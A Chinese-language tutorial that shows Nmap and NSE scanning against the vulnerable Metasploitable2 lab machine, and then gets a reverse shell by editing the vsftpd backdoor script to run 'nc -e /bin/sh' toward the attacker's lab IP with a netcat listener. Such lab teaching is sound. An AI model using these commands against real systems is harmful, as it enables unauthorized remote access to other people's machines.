Nmap 或 Network Mapper 是一种开源工具,用于发现计算机网络上的主机和服务。它是有史以来最强大、最灵活的端口扫描器之一。要在任何操作系统(例如 Ubuntu 或 Kali Linux)上安装 Nmap,您可以使用该命令。由于许多可用的 NSE 脚本的可用性,它非常灵活。 NSE 代表 Nmap 脚本引擎。为了理解 Nmap 和 NSE 的概念,让我们举个例子。对于此任务,我们将使用名为 metasploitable2 的易受攻击的机器。它本质上是非常脆弱的。黑客攻击有几个阶段,最重要的步骤之一是端口扫描。现在要扫描 metasploitable2,我们需要一个端口扫描工具,在这种情况下我们使用的是 Nmap。
使用 Nmap 脚本引擎(NSE)脚本:
1.我们可以使用命令发现网络中所有连接的设备
sudo netdiscover
2. netdiscover 的输出显示 VMware Inc mac 供应商是我们的 metasploitable 2 机器。现在我们可以开始 Nmap 扫描了。此处显示的 Nmap 命令是:
nmap -sV -T4 192.168.1.6
在哪里:
-sV用于服务版本检测。
-T4表示nmap扫描的速度。
3.获得的结果表示在 metasploitable2 上运行的服务和版本,但是如果我们想要更多关于目标的信息呢?这就是 NSE 有用的地方。 NSE 允许用户编写简单的脚本来自动执行各种网络任务。然后这些脚本以速度和效率并行执行。 NSE 脚本是用一种叫做Lua的编程语言编写的。
4.为了使用 NSE 脚本,我们使用标志-sC,或者我们可以使用–script来运行自定义脚本。
5.默认服务扫描的Nmap命令是
nmap -sC -T4 192.168.147.132
6.现在,如果我们比较服务版本扫描( -sV )和默认脚本扫描的结果,会有很多差异。让我们以端口 21 ( FTP )为例。在服务版本扫描的情况下,我们只得到版本。在脚本扫描的情况下,它检测到也允许匿名登录,并且用lua编写的脚本尝试匿名登录以验证是否可以。脚本扫描的问题在于它们有时本质上是侵入性的。这意味着脚本试图直接与目标交互,防火墙和 IDS 可能会阻止您的请求,但 Nmap 非常强大,它可以通过绕过过滤器来执行扫描。 -sC等效于–script=default 。
7. Nmap 有一组脚本,它们被归为default、safe和其他类别。当您使用标志-sC标志并且当 Nmap 发现一个端口时,它将运行一组默认为该端口的脚本并返回结果。这就是两种情况下结果不同的原因,当使用-sC标志本身时,有许多脚本可用。
8. nmap 的脚本位于/usr/share/nmap/scripts/ 。有超过 600 个 NSE 脚本可用于由开源社区创建的不同端口。您可以使用以下命令更新 NSE 脚本:
nmap --script-updatedb
9.如果我们想检查可用脚本,我们可以 grep 结果以查看端口的可用脚本。
10. ftp-anon.nse是 NSE 脚本,用于检测 FTP 服务器中的匿名登录。此脚本是端口 21 的默认脚本的一部分。这就是我们在使用-sC标志时获得匿名登录允许结果的原因。
11. Nmap 脚本非常强大,它们可以帮助您在目标机器上创建一个 shell。
12.我们可以看到 Nmap 仅仅通过运行一个脚本就能够识别目标机器上的命令注入或RCE (远程代码执行)。 Nmap 尝试执行 ID 命令,结果返回为 root 用户执行的命令。因此,Nmap 确认了命令注入错误的存在。 Nmap 中的许多脚本都支持传递参数。我们也可以仅通过 Nmap NSE 脚本获得一个反向 shell,但是我们需要知道如何传递或如何使用该函数的脚本 Nmap 提供了一个帮助选项。
13.从帮助菜单我们知道我们可以编辑ftp-vsftpd-backdoor.nse脚本并将默认命令更改为所需的Linux命令以获得反向shell。
14.下面提到的命令将/bin/sh发送到 192.168.147.131 的 1234 端口(这是我们的攻击机器)。当脚本在 metasploitable 2 上执行时,它会将反向 shell 返回到我们的机器。
nc -e /bin/sh 192.168.147.131 1234
15.使用nmap监听端口
nc -nvlp 1234
其中, -lp代表侦听端口 1234
16.您还可以通过“ theportname-* ”运行特定端口的所有脚本
nmap -p 21 192.168.147.132 --script "ftp-*"
在这种情况下,我们正在扫描端口 21,即 ftp,因此我们将“ ftp-* ”作为参数传递来代替脚本。